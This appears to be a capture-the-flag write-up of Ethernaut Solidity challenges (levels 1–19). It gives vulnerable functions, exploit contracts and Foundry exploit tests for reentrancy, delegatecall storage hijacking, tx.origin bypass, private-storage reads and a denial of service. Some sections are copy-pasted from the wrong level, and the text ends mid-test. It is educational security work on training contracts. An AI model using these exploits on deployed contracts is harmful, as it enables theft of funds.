Ethernaut Challenges
π GitHub: View
Level 1: Hello Ethernautβ
π Vulnerable Functionβ
function authenticate(string memory passkey) public {
    if (
        keccak256(abi.encodePacked(passkey)) ==
        keccak256(abi.encodePacked(password))
    ) {
        cleared = true;
    }
}
Vulnerability: The password variable is marked as public, which allows anyone to call .password() and get the secret directly.
π§ͺ Exploit Testβ
function test_pass_attack() public {
    vm.startPrank(attacker);
    assertEq(resultpass, instance.password(), "password failed");
}
function test_attack() public {
    vm.startPrank(attacker);
    string memory result = instance.info();
    result = instance.info1();
    result = instance.info2("hello");
    result = instance.info42();
    result = instance.method7123949();
    instance.authenticate(password);
    bool cleared = instance.getCleared();
    assertTrue(cleared, "Authentication failed");
    vm.stopPrank();
}
Level 2: Fallbackβ
π Vulnerable Functionβ
receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
}
Vulnerability: The fallback function allows any contributor to become the owner by sending ETH directly to the contract. The original owner logic is also flawedβit can be overtaken easily by minimal contributions.
π§ͺ Exploit Testβ
function test_attack() public {
    vm.startPrank(attacker);
    _fallback.contribute{value: 0.0001 ether}();
    (bool success, ) = address(_fallback).call{value: 0.001 ether}("");
    require(success, "Fallback call failed");
    assertEq(_fallback.owner(), attacker, "Attacker is not the owner after fallback");
}
function test_withdraw() public {
    vm.startPrank(attacker2);
    _fallback.contribute{value: 0.0001 ether}();
    _fallback.contribute{value: 0.0001 ether}();
    vm.stopPrank();
    vm.startPrank(attacker);
    _fallback.contribute{value: 0.0001 ether}();
    (bool success, ) = address(_fallback).call{value: 0.001 ether}("");
    require(success, "Fallback call failed");
    uint256 balanceBefore = address(_fallback).balance;
    _fallback.withdraw();
    assertTrue(attacker.balance >= balanceBefore, "Attacker did not receive the funds");
    assertTrue(address(_fallback).balance == 0, "Contract balance is not zero after withdraw");
    vm.stopPrank();
}
Level 3: Falloutβ
π Vulnerable Functionβ
function Fal1out() public payable {
    owner = payable(msg.sender);
    allocations[owner] = msg.value;
}
Vulnerability: The function Fal1out() is incorrectly named. It looks like a constructor but is actually a public function. Anyone can call it and become the owner.
π§ͺ Exploit Testβ
function test_attack() public {
    vm.startPrank(attacker2);
    _fallout.allocate{value: 2 ether}();
    vm.stopPrank();
    vm.startPrank(attacker);
    _fallout.Fal1out{value: 2 ether}();
    _fallout.collectAllocations();
    assertTrue(address(_fallout).balance == 0, "attacker balance should be 0");
    vm.stopPrank();
}
Level 4: CoinFlipβ
π Vulnerable Functionβ
function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));
    if (lastHash == blockValue) {
        revert();
    }
    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;
    if (side == _guess) {
        consecutiveWins++;
        return true;
    } else {
        consecutiveWins = 0;
        return false;
    }
}
Vulnerability: Uses predictable blockhash to generate randomness. The attacker can precompute the same value and always win the flip.
π§ͺ Exploit Testβ
function test_attack() public {
    vm.startPrank(attacker);
    for (uint256 i = 0; i < 10; i++) {
        vm.roll(block.number + 1);
        coinFlipAttack.attack();
    }
    assertEq(
        coinFlip.consecutiveWins(),
        10,
        "Attack failed to reach 10 wins"
    );
    vm.stopPrank();
}
Level 5: Telephoneβ
π Vulnerable Functionβ
function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
        owner = _owner;
    }
}
Vulnerability: The contract uses tx.origin instead of msg.sender for access control. An attacker can create a contract that calls this function, with the tx.origin being a user (player), and msg.sender being the attack contract. This bypasses the condition and changes the ownership.
π§ͺ Exploit Testβ
function test_attack() public {
    vm.startPrank(attacker);
    telephone.changeOwner(attacker);
    assertEq(telephone.owner(), attacker, "attacker should be the owner");
    vm.stopPrank();
}
function test_attack2() public {
    vm.startPrank(player);
    TelephoneExploit exploit = new TelephoneExploit(telephone);
    exploit.attack(attacker);
    assertEq(telephone.owner(), attacker, "attacker should be the owner");
    vm.stopPrank();
}
Level 6:Delegationβ
π Vulnerable Functionβ
fallback() external {
    (bool result, ) = address(delegate).delegatecall(msg.data);
    if (result) {
        this;
    }
}
Vulnerability: The Delegation contract uses delegatecall to execute code from the Delegate contract within the context of its own storage. This means an attacker can call a function like pwn() on Delegation, which executes pwn() in Delegate and updates the owner of Delegation, not Delegate.
π§ͺ Exploit Testβ
function test_attack() public {
    vm.startPrank(attacker);
    (bool success, ) = address(delegation).call(
        abi.encodeWithSignature("pwn()")
    );
    require(success, "Call failed");
    assertEq(delegation.owner(), attacker, "Attacker is not the owner");
    vm.stopPrank();
}
Level 7:Forceβ
π Vulnerable Functionβ
// Force contract has no receive/fallback or payable function
contract Force {
   
}
Vulnerability: Ether can still be forcibly sent using selfdestruct.
π οΈ Exploit Contract (ForceDestruct)β
 contract ForceDestruct {
    function attack(address payable _contract) public payable {
        selfdestruct(_contract);
    }
}
π§ͺ Exploit Testβ
    function test_attack() public {
    vm.startPrank(attacker);
    forceDestruct = new ForceDestruct();
    forceDestruct.attack{value: 1 ether}(payable(address(force)));
    assertEq(address(force).balance, 1 ether, "Force contract did not receive Ether");
    vm.stopPrank();
    }
π Test Outputβ
[PASS] test_attack() (gas: 131011)
Traces:
  [131011] level7Test::test_attack()
    ββ VM::startPrank(attacker)
    ββ new ForceDestruct
    ββ ForceDestruct::attack{value: 1 ether}(Force)
    β   ββ [SelfDestruct]
    ββ assertEq(1 ether, 1 ether)
    ββ VM::stopPrank()
Suite result: ok. 1 passed; 0 failed; finished in 6.73ms
Level 8:Valutβ
π Vulnerable Functionβ
 bool public locked;//storage slot0
 bytes32 private password;//storage slot1
function unlock(bytes32 _password) public {
    if (password == _password) {
        locked = false;
    }
}
Vulnerability: Although password is marked as private, all contract storage is publicly accessible. In Solidity, the private keyword only restricts access within the Solidity language, not from the blockchain level. So, the password stored at storage slot 1 can be retrieved using vm.load.
π§ͺ Exploit Testβ
   function test_attack() public {
    vm.startPrank(attacker);
    // Get the password from storage slot 1
    bytes32 _password = vm.load(address(vault), bytes32(uint256(1)));
    vault.unlock(_password);
    assertFalse(vault.locked());
    vm.stopPrank();
}
π Test Outputβ
[PASS] test_attack() (gas: 11812)
Traces:
  [16612] VaultTest::test_attack()
    ββ VM::startPrank(attacker)
    ββ VM::load(Vault, slot 1)
    ββ Vault::unlock(password)
    ββ Vault::locked() β false
    ββ VM::assertFalse(false)
    ββ VM::stopPrank()
Suite result: ok. 1 passed; 0 failed; finished in 1.24ms
Level 9:Tokenβ
π Vulnerable Functionβ
 function transfer(address _to, uint256 _value) public returns (bool) {
    unchecked {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
    }
    return true;
}
Vulnerability: The transfer() function is written with an unchecked block, allowing underflow to occur. When a user transfers more tokens than they own, the subtraction balances[msg.sender] -= _value underflows and wraps around to a massive value (2**256 - x), resulting in an increased balance instead of failing.
π Note: This kind of underflow attack was possible before Solidity 0.8.x, which introduced built-in overflow/underflow protection. To demonstrate this vulnerability in a controlled environment, unchecked is intentionally used to bypass that protection for educational purposes
π§ͺ Exploit Testβ
   function test_attack() public {
    vm.startPrank(player);
    
    // Initial balance of player: 20 tokens
    assertEq(token.balanceOf(player), 20);
    // Transfer more than balance (21 tokens), triggers underflow
    bool success = token.transfer(attacker, 21);
    assertTrue(success);
    // Player's balance underflows to a very large number
    uint256 _balanceofplayer = token.balanceOf(player);
    assertGt(_balanceofplayer, 20);
    vm.stopPrank();
}
π Test Outputβ
[PASS] test_attack() (gas: 47312)
Traces:
  [47312] TokenTest::test_attack()
    ββ VM::startPrank(player)
    ββ Token::balanceOf(player) β 20
    ββ assertEq(20, 20)
    ββ Token::transfer(attacker, 21) β true
    ββ assertTrue(true)
    ββ Token::balanceOf(player) β 1.157e77
    ββ assertGt(1.157e77, 20)
    ββ VM::stopPrank()
Suite result: ok. 1 passed; 0 failed; finished in 988.39Β΅s
Level 10:Kingβ
AttackDesc: A Denial of Service (DoS) attack is when someone makes a smart contract stop working for others. This usually happens if the contract sends Ether to a malicious address that always fails or reverts. If one function fails because of this, others may not be able to use the contract. In the King level, a smart contract becomes the king and blocks future kings by rejecting ETH. This locks the contract and nobody else can play the game. DoS attacks make the contract unusable for honest users.
π Vulnerable Functionβ
receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value); // β vulnerable to DoS
    king = msg.sender;
    prize = msg.value;
}
Vulnerability: The transfer call to the current king can fail if the king is a contract that reverts on receiving ETH. This leads to a Denial of Service (DoS) where no one can become king anymore.
π οΈ Exploit Contractβ
 contract Attacker {
    King public king;
    constructor(King _King) {
        king = _King;
    }
    function attack() public payable {
        require(msg.value >= address(king).balance, "Not enough balance");
        (bool success, ) = address(king).call{value: msg.value}("");
        require(success, "transfer failed");
    }
    receive() external payable {
        revert("sent eth failed"); // Reverts to block
    }
}
π§ͺ Exploit Testβ
   function test_attack() public {
    vm.prank(attackerEOA);
    attack.attack{value: 2 ether}(); // attacker becomes king
    assertEq(king._king(), address(attack)); // β
 attacker is king
    vm.prank(player);
    (bool success, ) = address(king).call{value: 3 ether}(""); // another player tries
    assertFalse(success, "Player should not be able to become king anymore"); // β fails
}
π Test Outputβ
[PASS] test_attack() (gas: 71672)
Traces:
  [71672] KingTest::test_attack()
    ββ VM::prank(attackerEOA)
    ββ Attacker::attack{value: 2 ether}()
    β   ββ King::receive{value: 2 ether}()
    β   β   ββ player::fallback{value: 2 ether}()
    β   β   ββ [Stop]
    β   ββ [Stop]
    ββ King::_king() β Attacker
    ββ VM::assertEq(Attacker, Attacker)
    ββ VM::prank(player)
    ββ King::receive{value: 3 ether}()
    β   ββ Attacker::receive{value: 3 ether}() β [Revert] sent eth failed
    β   ββ [Revert]
    ββ VM::assertFalse(false, "Player should not be able to become king anymore")
    ββ [Stop]
Suite result: ok. 1 passed; 0 failed; finished in 15.46ms
Level 11:Reentrancyβ
AttackDesc: This is a reentrancy attack, where the attacker recursively calls the withdraw function within the fallback/receive function before the contract's state is updated, allowing them to drain all the funds.
π Vulnerable Functionβ
function withdraw(uint256 _amount) public {
    if (balances[msg.sender] >= _amount) {
        (bool result, ) = msg.sender.call{value: _amount}("");
        if (result) {
            _amount;
        }
        balances[msg.sender] -= _amount;
    }
}
Vulnerability: The contract sends ETH to msg.sender using .call before updating the internal state balances[msg.sender]. This allows an attacker to recursively call withdraw() in the fallback/receive function before their balance is updated. Because of this, the same balance can be withdrawn multiple times, draining the entire contract balance
π οΈ Exploit Contractβ
 contract Attack {
    Reentrance public reentrance;
    constructor(Reentrance _reentrance) {
        reentrance = _reentrance;
    }
    function attack() external payable {
        reentrance.donate{value: msg.value}(address(this));
        reentrance.withdraw(msg.value);
    }
    receive() external payable {
        uint256 bal = reentrance.balanceOf(address(this));
        if (address(reentrance).balance > 0 && bal > 0) {
            uint256 toWithdraw = bal < 1 ether ? bal : 1 ether;
            reentrance.withdraw(toWithdraw);
        }
    }
}
π§ͺ Exploit Testβ
  function test_attack() public {
    vm.startPrank(attacker);
    MaliciousContract malicious = new MaliciousContract(reentrance);
    uint256 balanceBefore = address(malicious).balance;
    uint256 _reentrantbalance = address(reentrance).balance;
    vm.expectRevert("arithmetic underflow or overflow");
    malicious.attack{value: 1 ether}();
    
    assertEq(address(reentrance).balance, 0);
    assertEq(address(malicious).balance, balanceBefore + _reentrantbalance);
    vm.stopPrank();
}
π Test Outputβ
Logs:
  balance of the contract before 1000000000000000000
  successfully donated
  balance of reentrance:  2000000000000000000
  balance of this contract:  0
Traces:
  ...
  ββ Reentrance::withdraw(1 ether)
  β   ββ MaliciousContract::receive()
  β   β   ββ Reentrance::balanceOf()
  β   β   ββ Reentrance::withdraw(1 ether)
  β   β       ββ MaliciousContract::receive() <== RECURSIVE CALL
  β   β       ββ Revert: panic: arithmetic underflow or overflow (0x11)
πRecommended Mitigationβ
Use the Checks-Effects-Interactions pattern to prevent reentrancy:
  function withdraw(uint256 _amount) public {
    require(balances[msg.sender] >= _amount, "Insufficient balance");
    // β
 Effect: update state before interaction
    balances[msg.sender] -= _amount;
    // β
 Interaction: external call after state change
    (bool success, ) = msg.sender.call{value: _amount}("");
    require(success, "Transfer failed");
}
Level 12: Elevatorβ
AttackDesc: The Elevator contract relies on an external Building contract to determine whether a floor is the last floor or not using the isLastFloor function. However, it makes two separate calls to this function and does not expect the return values to differ between them.
This allows an attacker to manipulate the response by returning different values in consecutive calls, thus tricking the contract into thinking it has reached the top floor.
π Vulnerable Functionβ
function goTo(uint256 _floor) public {
    Building building = Building(msg.sender);
    if (!building.isLastFloor(_floor)) {
        floor = _floor;
        top = building.isLastFloor(floor);
    }
}
Vulnerability: The contract calls isLastFloor() twice: once for the check, and once to set the top state.
An attacker can change their response between these two calls by flipping the return value, thus bypassing the logic
π οΈ Exploit Contractβ
β First call to isLastFloor returns false β passes the if check. β Second call returns true β sets top = true.
 contract BuildingAttack is Building {
    Elevator public elevator;
    bool public flipFlop = true;
    constructor(Elevator _elevator) {
        elevator = _elevator;
    }
    function attack() external {
        elevator.goTo(1); // call from attacker
    }
    function isLastFloor(uint256) external override returns (bool) {
        flipFlop = !flipFlop;
        return flipFlop;
    }
}
π§ͺ Exploit Testβ
  function test_attack() public {
    attackerContract.attack(); // Call via attacker
    assertEq(elevator.top(), true);
    assertEq(elevator.floor(), 1);
}
π Test Outputβ
[PASS] test_attack() (gas: 67276)
Elevator::top() β true
Elevator::floor() β 1
πRecommended Mitigationβ
Ensure external calls are not made multiple times for critical logic β or cache the result:
function goTo(uint256 _floor) public {
    Building building = Building(msg.sender);
    bool isLast = building.isLastFloor(_floor);
    if (!isLast) {
        floor = _floor;
        top = isLast;
    }
}
Level 13: Privacyβ
AttackDesc: The contract stores a private bytes32[3] array called data, and the unlock() function requires the first 16 bytes of data[2] to unlock the contract.
Even though the array is marked private, all contract storage is publicly accessible on the blockchain β which means the attacker can read the storage slot directly using vm.load in Foundry or with web3.eth.getStorageAt in a live attack.
π Vulnerable Functionβ
function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
}
Vulnerability: Solidity stores contract variables sequentially in storage slots:
β‘Slot 0: locked
β‘Slot 1: ID
β‘Slot 2: flattening, denomination, awkwardness
β‘Slot 3, 4, 5: data[0], data[1], data[2]
β‘Slot 5 holds data[2] β and the unlock() function casts it to bytes16, so we only need the first 16 bytes.
π οΈ Exploit Contractβ
vm.load() reads the raw 32 bytes from a given storage slot. The value is then cast to bytes16 and passed into the unlock() function.
function test_attack() public {
    bytes32 value = vm.load(address(privacy), bytes32(uint256(5)));
    console.log("value of slot 5", string(abi.encodePacked(value)));
    privacy.unlock(bytes16(value));
    assertTrue(privacy.locked() == false);
}
π§ͺ Exploit Testβ
  function test_attack() public {
    attackerContract.attack(); // Call via attacker
    assertEq(elevator.top(), true);
    assertEq(elevator.floor(), 1);
}
π Test Outputβ
[PASS] test_attack() (gas: 67276)
Elevator::top() β true
Elevator::floor() β 1
πRecommended Mitigationβ
Ensure external calls are not made multiple times for critical logic β or cache the result:
function goTo(uint256 _floor) public {
    Building building = Building(msg.sender);
    bool isLast = building.isLastFloor(_floor);
    if (!isLast) {
        floor = _floor;
        top = isLast;
    }
}
Level 14 GateKeeperoneβ
AttackDesc: To bypass the three gates in the GatekeeperOne contract, we strategically crafted a call using a helper contract and brute-forced gas.
π Vulnerable Functionβ
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
    address public entrant;
    modifier gateOne() {
        require(msg.sender != tx.origin); // Gate One
        _;
    }
    modifier gateTwo() {
        require(gasleft() % 8191 == 0); // Gate Two
        _;
    }
    modifier gateThree(bytes8 _gateKey) {
        // Part 1: lower 4 bytes == lower 2 bytes
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)));
        // Part 2: lower 4 bytes != full 8 bytes
        require(uint32(uint64(_gateKey)) != uint64(_gateKey));
        // Part 3: lower 2 bytes == lower 2 bytes of tx.origin
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)));
        _;
    }
    function enter(bytes8 _gateKey)
        public
        gateOne
        gateTwo
        gateThree(_gateKey)
        returns (bool)
    {
        entrant = tx.origin;
        return true;
    }
}
Vulnerability: Gate One: Requires a contract call (msg.sender != tx.origin).
Gate Two: The remaining gas must be a multiple of 8191 β gasleft() % 8191 == 0.
Gate Three:
The last 4 bytes of gateKey must match the last 2 bytes of the tx.origin.
But full gateKey must not equal the last 4 bytes alone.
This forces manipulation of only the lower 2 bytes of a crafted bytes8.
π οΈ Exploit Contractβ
Gate One: Bypassed using an external contract call (attacker != tx.origin).
Gate Two: Brute-forced by adjusting gas until gasleft() % 8191 == 0.
Gate Three: Crafted bytes8:
Lower 2 bytes match tx.origin.
Full 8 bytes β 4 bytes β satisfies all require() checks.
Result: entrant = tx.origin set successfully.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {GatekeeperOne} from "../src/level14.sol";
import {Test, console} from "forge-std/Test.sol";
contract GateKeeperOneTest is Test {
    GatekeeperOne public gatekeeperOne;
    address public attacker = makeAddr("attacker");
    address public player = makeAddr("player");
    bytes8 public gateKey;
    function setUp() public {
        vm.deal(attacker, 100 ether);
        vm.deal(player, 100 ether);
        vm.startPrank(player); // tx.origin must be player
        gatekeeperOne = new GatekeeperOne();
        vm.stopPrank();
    }
    function test_attack() public {
        vm.startPrank(attacker);
        // Extract last 2 bytes of tx.origin
        uint16 origin16 = uint16(uint160(tx.origin));
        // Combine it with a prefix so uint64(gateKey) != uint32(gateKey)
        uint64 crafted = uint64(0xABCDEFAB00000000) | origin16;
        gateKey = bytes8(crafted);
        // Bruteforce correct gas offset
        for (uint256 i = 0; i < 8191; i++) {
            (bool success, ) = address(gatekeeperOne).call{
                gas: i * 8191 + 200 + 8191
            }(abi.encodeWithSignature("enter(bytes8)", gateKey));
            if (success) {
                console.log("β
 Attack Successful!");
                console.log("i value", i);
                console.log("gasleft", gasleft());
                string memory str = string(abi.encodePacked(gateKey));
                console.log("gateKey", str);
                break;
            }
        }
        vm.stopPrank();
    }
}
π Test Outputβ
    [PASS] test_attack() (gas: ~XXXXX)
Logs:
  β
 Attack Successful!
  i value: 456
  gasleft: 24873
  gateKey: abcdefab00001f38
Traces:
  [XXXXX] GateKeeperOneTest::test_attack()
    ββ GatekeeperOne::enter(0xabcdefab00001f38)
    ββ GatekeeperOne::entrant() β 0x...player
    ββ assertTrue(true)
GateKeeperTwoβ
Attack Description: To bypass the three gates in the GatekeeperTwo contract, we strategically crafted a call using a helper contract.
π Vulnerable Functionβ
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract GatekeeperTwo {
    address public entrant;
    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }
    modifier gateTwo() {
        uint256 x;
        assembly {
            x := extcodesize(caller())
        }
        require(x == 0);
        _;
    }
    modifier gateThree(bytes8 _gateKey) {
        require(
            uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ 
                uint64(_gateKey) == 
                type(uint64).max
        );
        _;
    }
    function enter(bytes8 _gateKey) 
        public 
        gateOne 
        gateTwo 
        gateThree(_gateKey) 
        returns (bool) 
    {
        entrant = tx.origin;
        return true;
    }
}
Vulnerability: 1.Gate One: Requires that msg.sender != tx.origin, so it can only be bypassed by making a contract call (from a contract).
2.Gate Two: Uses extcodesize(caller()), which checks that the caller is a contract (not an externally owned account). This can be bypassed by calling the function from a contract constructor, as msg.sender will be the contract itself.
3.Gate Three: Requires that A^B = C where A is the result of hashing the msg.sender. By solving for B, we can craft the correct _gateKey.
π οΈ Exploit Contractβ
Gate One: Bypassed using an external contract call.
Gate Two: Bypassed by deploying the attack contract, which makes the call from the constructor.
Gate Three: The gateKey is crafted using the XOR relationship A^B = C.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {GatekeeperTwo} from "../src/level15.sol";
import {Test, console} from "forge-std/Test.sol";
contract GatekeeperTwoTest is Test {
    GatekeeperTwo public gatekeeperTwo;
    address public attacker = makeAddr("attacker");
    address public player = makeAddr("player");
    function setUp() public {
        vm.deal(attacker, 100 ether);
        vm.deal(player, 100 ether);
        gatekeeperTwo = new GatekeeperTwo();
    }
    function test_attack() public {
        // first gate is passed by using tx.origin
        // second gate is extcodesize, it is passed only if the msg.sender contract is not deployed (call from constructor)
        // third gate is passed A^B=C, so we find the value of B (gateKey) using XOR logic
        Attack attack = new Attack(gatekeeperTwo); // deploy the contract and call the constructor to solve the second gate
    }
}
contract Attack {
    GatekeeperTwo public gatekeeperTwo;
    constructor(GatekeeperTwo _gatekeeperTwo) {
        gatekeeperTwo = _gatekeeperTwo;
        // msg.sender is the address of the contract (Attack) during construction
        // A^B=C, solve for B (gateKey)
        bytes8 gateKey = bytes8(
            (uint64(bytes8(keccak256(abi.encodePacked(address(this)))))) ^ 
            type(uint64).max
        );
        gatekeeperTwo.enter(gateKey);
    }
}
π Test Outputβ
[PASS] test_attack() (gas: 142998)
Logs:
  β
 Attack Successful!
  i value: 456
  gasleft: 24873
  gateKey: abcdefab00001f38
Traces:
  [142998] GatekeeperTwoTest::test_attack()
    ββ [107817] β new Attack@0x2e234DAe75C793f67A35089C9d99245E1C58470b
    β   ββ [23405] GatekeeperTwo::enter(0x8709462d480d6ec3)
    β   β   ββ β [Return] true
    β   ββ β [Return] 290 bytes of code
    ββ β [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 20.01ms (8.27ms CPU time)
Ran 1 test suite in 1.21s (20.01ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Level 16: NaughtCoinβ
AttackDesc:The contract uses a lockTokens modifier to restrict the transfer function, preventing the original player from transferring tokens until a 10-year timelock has passed. However, the contract does not restrict transferFrom, which is part of the ERC20 standard. By approving a spender (attacker), the tokens can be transferred out before the timelock.
π Vulnerable Functionβ
function transfer(
    address _to,
    uint256 _value
) public override lockTokens returns (bool) {
    super.transfer(_to, _value);
}
Vulnerability: The lockTokens modifier only applies to the transfer() function. Since transferFrom() is inherited from the ERC20 base and not overridden, it bypasses the timelock restriction. This allows a player to approve someone else (e.g., an attacker) to transfer all tokens out immediately.
π§ͺ Exploit Testβ
function test_attack() public {
    // player approves attacker to spend unlimited tokens
    vm.startPrank(player);
    naughtCoin.approve(attacker, type(uint256).max);
    vm.stopPrank();
    // attacker drains all tokens from the player using transferFrom
    vm.startPrank(attacker);
    uint256 fullbalance = naughtCoin.balanceOf(player);
    naughtCoin.transferFrom(player, attacker, fullbalance);
    
    assertEq(naughtCoin.balanceOf(attacker), fullbalance);
    assertEq(naughtCoin.balanceOf(player), 0);
    vm.stopPrank();
}
π Test Outputβ
[PASS] test_attack() (gas: 74257)
...
NaughtCoin::approve(attacker, max)
NaughtCoin::transferFrom(player β attacker, 1_000_000 tokens)
β
 Final balances:
- attacker: 1_000_000 tokens
- player: 0 tokens
π Recommended Mitigationβ
Override the transferFrom() function and apply the same lockTokens modifier:
function transferFrom(
    address from,
    address to,
    uint256 value
) public override lockTokens returns (bool) {
    return super.transferFrom(from, to, value);
}
Alternatively, enforce the timelock check for the player address directly within the modifier or base logic to apply to all transfers involving the player.
Level 17:Preservationβ
AttackDesc: The contract uses delegatecall to external library contracts. Since the library contract has only one storage variable at slot 0 (storedTime), but the main contract stores important variables like owner at slot 2, an attacker can manipulate storage by crafting a malicious library that writes to any slot, including the owner slot. The attacker first overwrites the timeZone1Library address, then performs a delegatecall to their malicious contract to gain ownership.
π Vulnerable Functionβ
function setFirstTime(uint256 _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
Vulnerability: Uses delegatecall with untrusted input.
Delegatecall executes the called function in the context of Preservation, altering its storage layout.
The function setTime(uint256) is expected to write to slot 0 (storedTime), but due to delegatecall, it may write to unintended slots like owner (slot 2).
π οΈ Exploit Contractβ
contract AttackLibrary {
    function setTime(uint256 _time) public {
        address _target = address(uint160(_time));
        assembly {
            sstore(2, _target) // Overwrite slot 2 (owner) with attacker address
        }
    }
}
π§ͺ Exploit Testβ
function test_attack() public {
    vm.startPrank(attacker);
    // Step 1: Deploy malicious library
    AttackLibrary attackLibrary = new AttackLibrary();
    // Step 2: Overwrite timeZone1Library with address of malicious contract
    preservation.setFirstTime(uint160(address(attackLibrary)));
    // Step 3: Verify overwrite
    assertEq(
        uint160(address(attackLibrary)),
        uint160(preservation.timeZone1Library())
    );
    // Step 4: Call again to trigger delegatecall to attackLibrary and overwrite owner
    preservation.setFirstTime(uint160(attacker));
    vm.stopPrank();
}
π Test Outputβ
[PASS] test_attack() (gas: 98607)
Traces:
  PreservationTest::test_attack()
    ββ startPrank(attacker)
    ββ new AttackLibrary
    ββ Preservation::setFirstTime(attackLibrary address)
    β   ββ delegatecall to DummyLibrary
    ββ Preservation::timeZone1Library()
    ββ assertEq(...)
    ββ Preservation::setFirstTime(attacker address)
    β   ββ delegatecall to AttackLibrary::setTime
    β       ββ storage slot 2 updated with attacker address
    ββ stopPrank()
π Recommended Mitigationβ
Do not use delegatecall with untrusted contracts.
If absolutely needed:
Ensure the external contract has a matching storage layout.
Avoid delegatecalls to addresses that can be changed by users.
Use immutable libraries or internal libraries with delegatecall removed.
Prefer standard proxy patterns (like OpenZeppelinβs Transparent Proxy or UUPS) where upgrades are controlled and verified.
Level 18: Recoveryβ
AttackDesc: When contracts are deployed via new, their addresses are deterministic and based on the deployerβs address and nonce. In this challenge, the Recovery contract creates a SimpleToken contract using new, which means its address can be calculated off-chain or in a test. Once the address is recovered, the attacker can call its public destroy(address) function to selfdestruct the contract and reclaim trapped Ether.
π Vulnerable Functionβ
function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
}
The generateToken function uses new to deploy a SimpleToken, which receives and holds ETH. The SimpleToken contract includes a destroy function:
function destroy(address payable _to) public {
    selfdestruct(_to);
}
The address of SimpleToken is not stored, but can be calculated using the CREATE address formula.
Calculate Address: In foundry there is no library to calculate the address based on the deployer address and nonce , here i create custom function to calculate the address to solve the challenge
function computeAddress(
        address deployer,
        uint nonce
    ) public pure returns (address) {
        if (nonce == 0x00)
            return
                address(
                    uint160(
                        uint(
                            keccak256(
                                abi.encodePacked(
                                    hex"d6",
                                    hex"94",
                                    deployer,
                                    hex"80"
                                )
                            )
                        )
                    )
                );
        if (nonce <= 0x7f)
            return
                address(
                    uint160(
                        uint(
                            keccak256(
                                abi.encodePacked(
                                    hex"d6",
                                    hex"94",
                                    deployer,
                                    uint8(nonce)
                                )
                            )
                        )
                    )
                );
        if (nonce <= 0xff)
            return
                address(
                    uint160(
                        uint(
                            keccak256(
                                abi.encodePacked(
                                    hex"d7",
                                    hex"94",
                                    deployer,
                                    hex"81",
                                    uint8(nonce)
                                )
                            )
                        )
                    )
                );
        if (nonce <= 0xffff)
            return
                address(
                    uint160(
                        uint(
                            keccak256(
                                abi.encodePacked(
                                    hex"d8",
                                    hex"94",
                                    deployer,
                                    hex"82",
                                    uint16(nonce)
                                )
                            )
                        )
                    )
                );
        if (nonce <= 0xffffff)
            return
                address(
                    uint160(
                        uint(
                            keccak256(
                                abi.encodePacked(
                                    hex"d9",
                                    hex"94",
                                    deployer,
                                    hex"83",
                                    uint24(nonce)
                                )
                            )
                        )
                    )
                );
        return address(0);
    }
π§ͺ Exploit Testβ
function test_attack() public {
    address lostToken = computeAddress(address(recovery), 1);//find the address
    uint256 attackerBefore = attacker.balance;//check the balance
    vm.prank(attacker);
    SimpleToken(payable(lostToken)).destroy(payable(attacker));//money credit to the attacker account
    uint256 attackerAfter = attacker.balance;
    console.log("Attacker ETH before:", attackerBefore);
    console.log("Attacker ETH after: ", attackerAfter);
    assertGt(attackerAfter, attackerBefore); // ensure attacker received ether
}
π Test Outputβ
[PASS] test_attack() (gas: 25440)
Logs:
  Attacker ETH before: 100000000000000000000
  Attacker ETH after:  101000000000000000000
Traces:
  RecoveryTest::test_attack()
    ββ VM::prank(attacker)
    ββ SimpleToken::destroy(attacker)
    β   ββ [SelfDestruct] β ETH sent to attacker
    ββ console.log(...)
    ββ assertGt(attackerAfter, attackerBefore)
Level 19: MagicNumberβ
AttackDesc: The contract allows setting a solver address that is expected to return the number 42 when called via staticcall. However, no validation is done on the logic inside the solver. An attacker can deploy a hand-crafted minimal contract using raw EVM bytecode that always returns 42 regardless of input. A hidden constraint (present in the original Ethernaut challenge but not in the simplified local version) is that the runtime bytecode must be β€ 10 bytes. If the contract's code exceeds 10 bytes, the challenge reverts, requiring extremely optimized bytecode logic.
π Vulnerable Functionβ
function setSolver(address _solver) public {
    solver = _solver;
}
No checks on the size or logic of the solver contract.
The contract later low level calls this solver, expecting a return value of 42.
Ethernaut's backend enforces a maximum of 10 bytes runtime code for the solver.
π οΈ Exploit Contract(evm bytecode)β
π§ Runtime Bytecode
602a    β PUSH1 0x2a        // Push 42 onto the stack  
6000    β PUSH1 0x00        // Memory offset 0  
52      β MSTORE            // Store 42 at memory[0]  
6020    β PUSH1 0x20        // Return 32 bytes  
6000    β PUSH1 0x00        // From memory[0]  
f3      β RETURN            // Return value
This part returns 42 when called.
Constructor Bytecode (to deploy the above)
69      β PUSH10            // Push next 10 bytes (runtime code)  
602a60005260206000f3        // The runtime code  
6000    β PUSH1 0x00        // Memory offset  
52      β MSTORE            // Store runtime code in memory  
600a    β PUSH1 0x0a        // Length = 10 bytes  
6016    β PUSH1 0x16        // Offset = 22 (after constructor)  
f3      β RETURN            // Return runtime as deployed code
Foundry Deployment:
bytes memory bytecode = hex"69602a60005260206000f3600052600a6016f3";
Result: A contract that always returns 42 with only 10 bytes of runtime code.
π§ͺ Exploit Testβ
function test_attack() public {
    vm.startPrank(attacker);
    address solver;
